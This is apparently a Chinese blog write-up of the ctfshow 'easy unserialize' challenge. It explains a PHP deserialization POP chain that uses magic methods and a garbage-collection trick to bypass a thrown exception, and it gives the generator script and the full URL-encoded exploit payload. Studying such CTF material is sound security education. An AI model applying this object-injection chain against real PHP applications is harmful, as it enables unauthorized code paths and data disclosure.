ctfshow 卷王杯 easy unserialize

发布时间 2023-10-09 08:34:07作者: kode
<?php

include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

 考点:GC回收机制

我们首先找到我们需要构造的pop链的尾部   

public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } 这里很明显可以输出flag。
这里有__destruc()魔术方法,所以我们pop的首部已经找到
public function __destruct() { @$this->object->add(); }

 

这里有throw new Exception 说明__destruct()魔术方法无法正常调用,这里就需要使用GC回收机制。
if
(isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__);

 

这里为入口,首先进入到one类的__destruct魔术方法,然后看到调用了add()函数,但是解读代码发现这个函数是没有的,所以我们可以令objict=new second,进入到second的__call魔术方法  

public function __destruct() { @$this->object->add(); }

 

 public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }           进入到这里后,我们需要了解一下claa_user_func函数。

 

 可以看到如果有[]的话是将类中方法的变量进行替换,那么我们就知道,上面那个代码其实就是在当前类中,将刚才调用的add方法进行了调用,并且给他拼接上了一个Me,这样的话就会调用当前类的addMe的方法。

在addMe方法中,可以看到将$filename变量当作字符串进行了拼接,这样的话就会调用one类中的__tostring魔术方法。

  public function __toString() {
        return $this->object->string;
    }

然后看到string在third类里面为私有属性,则我们可以让$object=new third(),这样就会调用__get魔术方法。

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }  在__get魔术方法中,$name就是传进来的string,在$var[$name]()这个中
我们可以通过使用数组来调用类中的方法,$name 是 "string",那么 $var = $this->$name; 将得到 $var=$this->string。然后,$var[$name](); 就是 string['string']()。所以我们可以采用 $string = array("string"=>[new one(),"MeMeMe"]);便可以绕过,从而调用one类中的MeMeMe方法

 接着我们就是需要去研究GC回收机制了。

这里的话可以去看这篇文章:https://blog.csdn.net/qq_51295677/article/details/123520193?spm=1001.2014.3001.5502

 

然后构造我们的链子:

<?
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");   //array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字


}

class second {
    public $filename;    //php7.1以上则对于类属性不敏感,把protected直接改为public即可

}

class third {
    private $string;
    public function __construct($string){
        $this->string=$string;
    }
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
$n=null;
$b=array($a,$n);
echo urlencode(serialize($b));

?>

然后再将生成的payload:中的1改为0,或者直接去掉,都可以。

payload:

?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A%3BN%3B%7D